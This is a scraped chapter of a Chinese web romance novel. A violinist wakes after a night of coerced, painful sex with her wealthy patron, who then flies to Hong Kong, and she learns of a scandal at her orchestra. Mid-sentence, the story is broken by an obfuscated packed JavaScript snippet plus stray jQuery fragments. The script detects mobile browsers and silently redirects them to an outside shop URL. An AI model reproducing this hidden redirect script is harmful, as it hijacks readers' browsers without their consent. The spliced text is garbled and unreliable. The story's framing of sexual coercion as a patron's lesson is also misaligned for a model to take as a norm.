18. 第 18 章

作品:《野狗过敏症

    乐以棠是被渴醒的。遮光帘拉得很严,房间里一片昏暗。


    半梦半醒间,她翻了个身,酸痛顿时密密麻麻地泛上来,让她瞬间睁开了眼。


    头痛欲裂,显然是宿醉的后遗症,然而身上似乎也没好到哪里去。


    她拥着被子坐起来,注意到手腕上的勒痕。她意识到自己还在酒店的套房,空气里残留着淡淡的雪松香,床的另一侧早已冰凉。


    乐以棠揉了揉发胀的太阳穴,试图拼凑昨晚的记忆。


    她记得自己遇到了爱乐乐团的客座指挥,然后在酒吧和爱乐的人拉了琴,她玩得很高兴。


    之后的记忆便支离破碎起来,但似乎尽是和沈肆年的荒唐事。


    只是印象里,她觉得他昨晚不太高兴。甚至可以说,他在生气。


    沈肆年虽然强势,但在情事上向来很有风度,会顾及她的感受,很少真的逼她做她不喜欢的事。


    可是昨晚……


    那些零碎的感官记忆随着身体的疼痛一点点回笼。


    昨晚的疼痛远远大过了愉悦,她依稀记得自己哭着求他停下,回应她的反而是更深的折磨。


    耳边似乎还回荡着他低沉冷戾的声音,不断碾压着她醉酒后的神经:


    “躲什么?不是说都配合吗?”“忍着。”“既然是报答,哪有做到一半喊停的道理?”


    他逼着她讨饶、崩溃、哭泣。


    可即便如此,他依旧不高兴,甚至最后似乎是气极了,吻她的时候竟直接咬破了她的嘴唇。


    抽身退离时,他弄脏了她的脸颊和颤抖的长睫,彻底模糊了她的视线。


    乐以棠下意识地摸了摸唇角,有些肿。


    她认识沈肆年十六年,在他身边也有六年了。她自认已经摸透了他的脾性。


    他喜欢她审时度势、顺从讨好又不过度纠缠,他也喜欢在床/上掌控一切。昨晚她明明都在顺着他,甚至主动去迎合他的喜好,为什么他反而不高兴了呢?


    乐以棠垂下眼帘,看着自己手腕上的指痕,心里忽然冒出一个念头。


    是因为这次的维也纳之行,他觉得自己的礼物太重了?上亿的琴,顶级的资源,连乐以棠都一度恍惚。


    甚至……昨晚在酒吧,她隔着人群看向独自坐在那望着自己的沈肆年时,竟也产生了类似心动的感觉。


    是他察觉到了?怕她越界?所以他才要用昨晚那种近乎羞辱的方式来再度确立两个人的边界?


    很合理。


    想通后,乐以棠反倒莫名放下心来。


    乐以棠不再拖延,起身去浴室。既然金主已经在用行动敲打她了,那她识趣就是了。


    梳洗完,特意上了个淡妆掩盖气色,乐以棠穿上素净的米白色高领套装,严严实实地遮住了身上那些惨烈的痕迹,然后调整好表情,推开了卧室的门。


    起居室里,沈肆年正立在窗前打电话。他已经恢复了衣冠楚楚的矜贵模样,深灰色的订制西装,金丝眼镜,背影高大挺拔,和昨晚那个折磨她的禽兽判若两个物种。


    “Reopeningthebook?No.”(重开簿记?不。)


    他的声音平静,却带着绝对的语气:“Thevaluationislocked.I’mnotrevisitingtheterms.”(估值已经锁死。我不接受重新谈判。)


    乐以棠听到他在忙正事,很识趣地没有出声打扰,悄无声息地走到餐桌旁坐下。


    桌上摆着精致的早餐,她安静地吃着草莓,沉默地当着透明人。


    “Iftheteambucklesattheslightestpressurefromthesecondarymarket,thenIquestionyourcapabilitytoclosethisdeal.”(如果团队连二级市场的这点压力都顶不住,我质疑你们完成这笔交易的能力。)


    似乎是团队的表现让他失望,他的嗓音里带着一丝厌烦:


    “I''mheadingtotheairport.Havetheboardreadyby8AMHongKongtime.”(我现在去机场。香港时间明早八点,准备好董事会。)


    沈肆年挂断了电话。他转过身,目光注意到正低头默默吃早餐的乐以棠。


    她此刻也抬起了头,状似关切地问道:“是有棘手的工作要去处理吗?”


    温柔而懂事。乐团那点简单的事她能焦虑到吃药,而昨晚他那样折腾她,她却似乎全然不记得,又或是不在意,连一句抱怨也没有。


    恼人的烦闷又升腾上来,他远远看着她:“香港那边出了点状况,我今天就要过去。”


    难怪,乐以棠想,难怪气压这么低。


    “啊……”乐以棠摆出了不舍的表情,随即很快点头,露出了一个极其善解人意的笑容,“工作要紧。我已经好多了,可以自己回去的。滨交的事你不用……”


    ”操心”两个字还没说出口,沈肆年打断了她:“不问我去多久?”


    乐以棠蹙眉,他什么时候会向她报备……


    “不管你去多久,我都会在滨城等你呀。”乐以棠睁着大眼睛看他。


    沈肆年没说话,就这么抱臂盯着她,盯得乐以棠都有点发怵,正要挪开视线,他迈开腿走了过来。


    他从口袋里拿出她的手机摆到桌上:“这半个月我会很忙,既然你这么拎得清,自己顾好自己。”


    说完,他拿起沙发上的大衣,转身就往门口走。


    直到大门合上,乐以棠都没反应过来……


    他这就……走了?还回来吗?她还没祝他一路顺风呢……


    乐以棠的视线落在自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031258|193797||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    己的手机上。也是,逃了几天,总得面对现实世界。


    她深吸了一口气,拿起手机按下开机键。屏幕亮起的瞬间,无数条消息争先恐后地跳了出来……


    微信图标上的红点已经是“99+”。


    乐以棠的交际圈很简单,平时几乎没有什么人情往来,除了乐团她也没有外面的工作,几乎不会出现信息爆炸的情况……她下意识感觉到是乐团出了事。


    乐以棠指尖划过屏幕,果然率先跳出来的是“滨城交响乐团工作群”。


    她点开群聊,粗略地往上翻了翻,群里并没有预想中签约成功的庆祝红包,反而满屏都是“惊叹号”。


    【大提琴-刘希】:天呐,刘团长和苏晚?这也太丢人了……


    【长笛-小周】:不是,咱们刘团长老婆不是刚生了小孩??还晒朋友圈来着


    【小提琴-小陆】:难怪指定苏晚用瓜达尼尼呢


    【行政-王姐】:@所有人全体禁言!不信谣不传谣!等待上级通告!


    乐以棠看得一头雾水。她点开置顶的群公告,只看到一张措辞严厉的红头文件图片:关于团长刘品因严重违纪被停职调查的通知,大提琴手苏晚涉嫌违规,暂停一切演出活动配合调查……


    刘团长和苏晚?


    还没等她理清来龙去脉,一条私聊消息弹了出来,是乐团负责业务的副团长。


    她点开,发现副团也给她发了许多信息。


    【张副团】:乐首席,群里的消息你看了吗?咱们和新资方的签约仪式出了大事!资方取消了赞助,刘团长和苏晚被停职了。你人在哪儿?


    【张副团】:新资方说得你先回来,才肯再谈赞助的事情。


    【张副团】:有人在Ins上刷到你在维也纳的照片了。团里现在都在传,说你是去面试新乐团了,说你要走?


    【张副团】:小乐,你跟哥透个底,你不会真这时候走吧?


    【张副团】:刘团长为了捧苏晚打压你,但这事儿跟团里兄弟姐妹没关系啊!他已经被严肃处理了,你别往心里去。


    【张副团】:祖宗,你要是没跳槽的心,就赶紧销假回来吧!咱们这周末公演的票早就卖完了,明天必须得联排了!


    乐以棠此刻反应过来,所以……是团长和苏晚有不正当关系?


    怎么会在签约仪式上爆出来的?江知野到底在搞哪出?


    乐以棠正想着要怎么回复张副团,便又弹出来一条新消息。


    【Steve沈肆年秘书】:乐小姐,沈总让我给您定了下午回滨城的航班,司机下午一点半到酒店接您可以吗?


    乐以棠蹙眉,这可真是个陈述句一般的问句。


    她突然想起沈肆年昨天那句“滨城乐团如今乌烟瘴气”……所以乐团的事,沈肆年都知道了。


    他可真是给她安排得明明白白。